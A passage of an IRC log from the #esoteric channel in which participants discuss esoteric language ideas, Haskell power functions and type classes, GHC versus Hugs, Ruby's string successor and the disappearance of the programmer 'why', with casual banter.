:alise!unknown@unknown.invalid PRIVMSG #esoteric :(Just doing my job to lower signal/noise.) < 1267483149 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Heheh. < 1267483150 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Profanity? Yes please. < 1267483153 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: He's been here intermittently forever. < 1267483160 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise: you watch your mouth! < 1267483162 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :He's just shocked every single day we still exist. < 1267483164 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: i'm not sure. there was a dark ages kind of period in the history of #esoteric < 1267483166 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION slaps alise cross the mouth
< 1267483169 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :kids these days < 1267483172 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: yes, all of it < 1267483191 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :no, it was pretty cool before you joined < 1267483192 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: i made the sparkline, ma'am. activity has been /steadily rising/ since the start, and has never gone significantly down < 1267483202 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lament: lawl < 1267483213 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :by dark ages i mean noise-to-signal, not volume < 1267483242 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i remember something about razor-x and anime. < 1267483246 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :lots and lots of anime discussions. < 1267483260 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i remember seeing you whine about that when feeding everything to that kicker bot thing :D < 1267483279 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also signal/noise presumably, so that it gets lower as quality is shittier < 1267483310 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what < 1267483351 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not noise/signal < 1267483369 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lament! :o < 1267483375 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hey changod < 1267483382 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no that's andreou < 1267483384 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hows the changoddery < 1267483392 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :close enough < 1267483423 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i'm not god :( < 1267483442 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but dont you have ... < 1267483446 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :THE POWER? < 1267483453 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: my language seems to unintentionally have autovivification, yet it is totally "pure" i.e. no hacky stuff. do you approve? < 1267483459 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267483468 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think i need to go shopping < 1267483471 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1267483478 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i have godlike powers, sure < 1267483478 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Here's my idea: a language which can only operate on one bit at a time of one of two bytes in memory...your'd have your standard bitwise operators like AND, OR, XOR, and NOT, except these took bits as operands, not bytes like an 8-bit processor. I guess you could say it (sort of) simulates machine language of a 1-bit processor...sort of. < 1267483489 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :*you'd < 1267483502 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: this language would be... limited. < 1267483508 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :lament, very. < 1267483515 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1267483525 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :is it a von neumann machine? < 1267483532 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Well... < 1267483533 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :are programs limited to being 2 characters long? < 1267483548 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :lament, no. < 1267483559 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :lame < 1267483573 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :the 4-bit computer people have built is a von-neumann machine < 1267483609 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: I'm sure there are some (small) problems such a computer could solve < 1267483622 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :operative word there being, uh, small. < 1267483636 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it could easily add 1 and 2 < 1267483676 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid, how many bits in a bit? < 1267483679 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The only thing making that actually do anything at all is not being Von Neumann.. < 1267483698 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: don't suppose you're interested in the details? < 1267483701 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I'll come back later when I've formulated a better explanation. I'm confusing myself even. < 1267483713 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: no, busy having a flamewar atm < 1267483719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :heh, about what? < 1267483725 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267483760 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :if hasattr(xyz, 'xyz'): self.xyz = xyz.xyz < 1267483781 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That's what's been causing me so much pain. (The names were changed to protect the "innocent".) < 1267483801 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267483834 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :This is what happens when you mix subclass-based inheritance with delegation at your whim. < 1267483840 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MUD. < 1267483848 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :anywho < 1267483854 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :help alise < 1267483877 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: wut < 1267483885 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise what about haskell' < 1267483894 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I could always make it where you have [8 bits][1-bit swap space][8 bits]. Basically, you can toggle which 8-bit cell you're operating on, while also being able to pass data between the two via the 1-bit swap cell. It wouldn't be a realistic model by any means, but it'd be interesting. < 1267483900 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :which is basically nothing at all but you have so many extensions you can turn it into anything < 1267483923 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: What about it? < 1267483938 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :that' s my idea < 1267483959 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, I love minimalistic or limiting esolangs because when you manage to write a working program in them, you feel much more accomplished...IMHO. < 1267483969 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: well that's the reality of haskell today :P < 1267484029 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Actually, I really have to have anonymous nodes with named arcs, I think: because I really can't have nodes all being unique. < 1267484038 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :George --- name --- something, Robert --- name --- something. < 1267484041 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Krr, name is duplicate. < 1267484052 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or is there a name for a graph where you can have duplicate nodes? < 1267484078 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: http://hackage.haskell.org/trac/haskell-prime/ ? < 1267484126 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267484136 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :their "Haskell 2010" sounds like hell < 1267484151 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267484171 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hell how? < 1267484178 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Haskell 2010 is just a standardisation of, well, GHC. < 1267484190 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : for integer exponents it is trivial to implement. Somewhat more involved for non-integers. < 1267484208 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, if GHC is to Haskell as gcc is to C, ... < 1267484250 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's not, though? :P < 1267484253 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :haskell has three different power functions, dependent on whether the underlying type allows just multiplication, allows division, or allows general powers < 1267484261 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: wait what's the third < 1267484264 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I know ^ and ** < 1267484267 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :^^ < 1267484310 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you cannot implement the last one (**) cleanly for rationals < 1267484324 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Haskell 2010 is not a standardisation of GHC. < 1267484330 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :didn't even know of ^^ < 1267484333 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's a standardisation of a handful of GHC extensions. < 1267484339 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: shaddap < 1267484339 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267484365 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: it's defined for rationals, but it won't help you take cube roots alas < 1267484376 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :((^^)) < 1267484388 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :desu < 1267484400 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION was waiting for that
< 1267484428 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :btw, is there some way to get Hugs to tell me what types implement a particular type class? < 1267484436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Step one, don't use Hugs. < 1267484442 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267484453 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :You're going to make me wait for all my crap to COMPILE, aren't you. < 1267484458 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: ghci < 1267484459 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think the idea of a cell containing 5/3 bits is hard to think about logically. 3 of them should give 32 possibilities, but how do you achieve this consistently? maybe it's something quantum :D < 1267484465 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Compiles on the spot, interactive like hugs. < 1267484469 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :runghc foo.hs < 1267484474 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Runs the program like a script interpreter. < 1267484498 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hugs doesn't even have the latest major version of the standard library, which changed quite a bit. < 1267484502 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: OK, I'll give it a shot. < 1267484503 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Does it even have 3? < 1267484524 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hugs is like... Dead. < 1267484538 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'll give it a shot if it can tell me what types implement Integral. < 1267484548 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: even ghc cannot do it without you having loaded the modules defining the type instances, i think. < 1267484588 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I'll just stick to Visual Basic. < 1267484589 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :otoh the web documentation frequently lists types defining a particular class < 1267484602 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although maybe that's module-dependent too < 1267484603 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I couldn't find it in the docs, that's why I was curious. < 1267484617 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :What, besides the various integery types, implement Integral? < 1267484624 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :nnone < 1267484626 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :none < 1267484627 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :nnone < 1267484627 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :nnone < 1267484633 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Prelude> :info Integral < 1267484633 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :class (Real a, Enum a) => Integral a where < 1267484634 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : quot :: a -> a -> a < 1267484634 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : rem :: a -> a -> a < 1267484634 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : div :: a -> a -> a < 1267484635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : mod :: a -> a -> a < 1267484635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : quotRem :: a -> a -> (a, a) < 1267484635 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : divMod :: a -> a -> (a, a) < 1267484636 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : toInteger :: a -> Integer < 1267484636 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : -- Defined in GHC.Real < 1267484636 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :instance Integral Integer -- Defined in GHC.Real < 1267484637 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :instance Integral Int -- Defined in GHC.Real < 1267484639 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Sorry for the flood.) < 1267484642 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Import more modules, get more Integrals. < 1267484651 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Thank you. < 1267484654 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: in addition to the standard Int and Integer, the Int* and Word* types from Data.Int and Data.Word < 1267484659 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Of course you can't just say "import *" then look. < 1267484670 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :are the ones i know of < 1267484760 0 :scarf!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267484869 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: http://www.haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html has a sizable list a way down < 1267484887 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Thanks. < 1267484903 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://www.haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#7 < 1267484919 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :is the closest anchor i could find < 1267484925 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :haskell.org is not responding for me, lovely < 1267484946 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oh, it's just reeeeeally slow < 1267484948 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh? i just brought it up < 1267485090 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i guess most of those are for the ffi, lots of C types < 1267485146 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and of course those are at most the instances that come with ghc. other packages can define their own. < 1267485154 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I finally made a channel for my system/language/thingy. #usys < 1267485627 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :let's say you have 6 * 5/3 bits in a row. that is 10 bits. now you should be able to read off 5 bits starting from _any_ of the 4 first 5/3 blocks. < 1267485651 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1267485694 0 :Asztal!~asztal@host86-156-97-208.range86-156.btcentralplus.com JOIN :#esoteric < 1267485728 0 :Azstal!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1267485731 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also, if you read off 5 bits from overlapping areas, you should be able to deduce all other 5 bit offsets inside that same area < 1267485749 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*from two overlapping areas < 1267485788 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :this is probably enough to get a logical inconsistency < 1267485821 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise < 1267485887 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm more generally you should be able to take any three 5/3 bits and combine them into a 5 bit value < 1267485981 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :maybe there is some mad sort of logic where this kind of thing is allowed. i've vaguely heard that toposes replace boolean truth values with something else... < 1267486027 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(varying by topos) < 1267486160 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1267486247 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267486552 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1267486618 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :heeeeeyo < 1267486663 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yoooyo < 1267486711 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ma < 1267487201 0 :angstrom!~anon@unaffiliated/angstrom JOIN :#esoteric < 1267487469 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell data Nat nat = Succ nat deriving Show; main = print . Succ . Succ . Succ $ "Test" < 1267487479 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Succ (Succ (Succ "Test")) < 1267487483 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1267487495 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :BAI NAO < 1267487522 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: your Show instance for Nat back when was just the usual derived one < 1267487596 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hm right < 1267487607 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why hah? < 1267487621 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or almost. it left out the parentheses around "Test". < 1267487634 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: because you didn't notice it? < 1267487646 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well i was being careful :) < 1267488606 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267488874 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :in ruby, "test".succ.succ.succ (or whatever the term is in ruby; next? whatever) would be tesw < 1267489007 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell instance Enum String where succ s = init s ++ [succ (last s)]; main = print . succ . succ . succ $ "test" < 1267489019 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :grmbl < 1267489032 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell instance Enum String where {succ s = init s ++ [succ (last s)]}; main = print . succ . succ . succ $ "test" < 1267489071 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell {-# LANGUAGE TypeSynonymInstances #-}instance Enum String where {succ s = init s ++ [succ (last s)]}; main = print . succ . succ . succ $ "test" < 1267489124 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*sigh* i guess there is no way to turn off warnings about undefined methods without defining them all :( < 1267489170 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell {-# LANGUAGE TypeSynonymInstances #-}instance Enum String where {succ s = init s ++ [succ (last s)]; fromEnum = undefined; toEnum = undefined}; main = print . succ . succ . succ $ "test" < 1267489173 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :"tesw" < 1267489421 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :succ ['a','b',succ maxBound] < 1267489424 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you need wrapping son < 1267489455 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'd think that should give a carry, actually < 1267489500 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :What does succ a_list supposed to mean? < 1267489519 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Grammar fail < 1267489550 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: i think version strings is one of the intended cases < 1267489560 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*use cases < 1267489595 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ruby may do something more complicated than just looking at the last character for all i know < 1267489620 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :like, what is "test9".succ ? < 1267489655 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I think tryruby.com has a ruby interpreter < 1267489662 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Or some similar URL < 1267489675 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, that's why's < 1267489678 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and why killed himself < 1267489687 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise, WHAT? < 1267489696 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: person-behind why killed the-persona why. < 1267489702 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Oh, ok < 1267489703 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(deleted all online accounts, code and websites) < 1267489716 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267489726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: i don't find it any less sad, it's not like person-behind-why will be exactly like why, a lot of it will be an act of sorts - or at least a costume < 1267489732 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and we'll never contact them anyway < 1267489734 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :irb(main):001:0> "test9".succ < 1267489734 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :=> "tesu0" < 1267489737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :tesu tesu tesu < 1267489760 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise, but it means the person isn't dead. < 1267489779 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :;_; < 1267489788 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Although it is upsetting that we'll never speak to Why again, probably [and even that isn't definite, unlike RL death] < 1267489791 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :it's so useless being ill because even though i'm not at school I can't work on my own stuff < 1267489803 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: just lie in bed and chill < 1267489810 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: he's not coming back < 1267489811 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy, severely ill, or known-to-be-temporarily-ill? < 1267489823 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise, how do we know this? < 1267489824 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and, do you care about some random person dying that you don't know? don't lie, you don't < 1267489830 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the sad event is that persona why is gone < 1267489839 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :just a bit ill < 1267489842 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: well, the probability is almost 0 < 1267489854 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he completely wiped out everything, he had been a bit pessimistic about programming on his twitter just before < 1267489861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and it was an /utter/ wipeout of EVERYTHING < 1267489864 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: famous last words < 1267489871 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION whistles innocently
< 1267489893 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's a little bit of cancer. < 1267489894 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise, what's that "a bit pessimistic" < 1267489895 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267489899 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :would love to read what it was < 1267489943 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: wasn't much interesting "blah blah programming is ephemeral the only things that truly survive are games; people will do anything to keep games running; if you want your stuff to last make it a game" which seems... false, but whatever < 1267489963 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :which means esolangs will outlive all other languages < 1267489964 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :later < 1267489966 0 :cpressey!unknown@unknown.invalid PART #esoteric :? < 1267489992 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise huh. well i guess it's lost forever/ < 1267489992 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267490012 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not quite < 1267490021 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :There are games, good games, that don't survive < 1267490054 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :can't find it. but there is a mirror of most stuff < 1267490055 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Although that's mostly online games < 1267490066 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://github.com/whymirror is code, can't remember where the writing stuff is < 1267490122 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :HE LOOKS LIKE JACK BLACK < 1267490140 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he does < 1267490237 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :wugh < 1267490244 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :zed shaws opinions can fuck off < 1267490291 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah he's a dick < 1267490298 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267490554 0 :Azstal!~asztal@host86-166-170-253.range86-166.btcentralplus.com JOIN :#esoteric < 1267490562 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267490921 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: join #usys :| < 1267490943 0 :Azstal!unknown@unknown.invalid QUIT :Quit: . < 1267491059 0 :jcp!unknown@unknown.invalid NICK :devmarlen < 1267491083 0 :devmarlen!unknown@unknown.invalid QUIT :Changing host < 1267491083 0 :devmarlen!~jw@unaffiliated/javawizard2539/bot/marlen JOIN :#esoteric < 1267491121 0 :devmarlen!unknown@unknown.invalid QUIT :Changing host < 1267491121 0 :devmarlen!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267491159 0 :devmarlen!unknown@unknown.invalid NICK :multimarlen < 1267491171 0 :multimarlen!unknown@unknown.invalid QUIT :Changing host < 1267491171 0 :multimarlen!~jw@unaffiliated/javawizard2539/bot/marlen JOIN :#esoteric < 1267491201 0 :multimarlen!unknown@unknown.invalid QUIT :Changing host < 1267491202 0 :multimarlen!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1267491206 0 :multimarlen!unknown@unknown.invalid NICK :jcp < 1267491422 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :http://www.stationv3.com/d/20080319.html < 1267491509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267491550 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.stationv3.com/d/20080322.html < 1267491555 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he stole my alternative universe syntax :( < 1267491556 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(almost) < 1267491606 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :straight men are so unreliable < 1267491613 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :^ < 1267491686 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267491882 0 :augur!unknown@unknown.invalid NICK :OriginalSyntax < 1267491933 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OriginalSyntax: I can't decide if that nick is clever and hilarious or just stupid. < 1267491946 0 :OriginalSyntax!unknown@unknown.invalid PRIVMSG #esoteric :someone in ##proggit is OriginalSyn < 1267491949 0 :OriginalSyntax!unknown@unknown.invalid PRIVMSG #esoteric :so i figured < 1267491951 0 :OriginalSyntax!unknown@unknown.invalid PRIVMSG #esoteric :lets up the ante < 1267491954 0 :OriginalSyntax!unknown@unknown.invalid NICK :augur < 1267491970 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :See, now OriginalSyn is clever and hilarious. < 1267491978 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Because it's meaningful in both senses. < 1267491992 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(If not a particularly useful meaning) < 1267492000 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hows it meaningful in both senses? < 1267492001 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1267492004 0 :oerjan!unknown@unknown.invalid 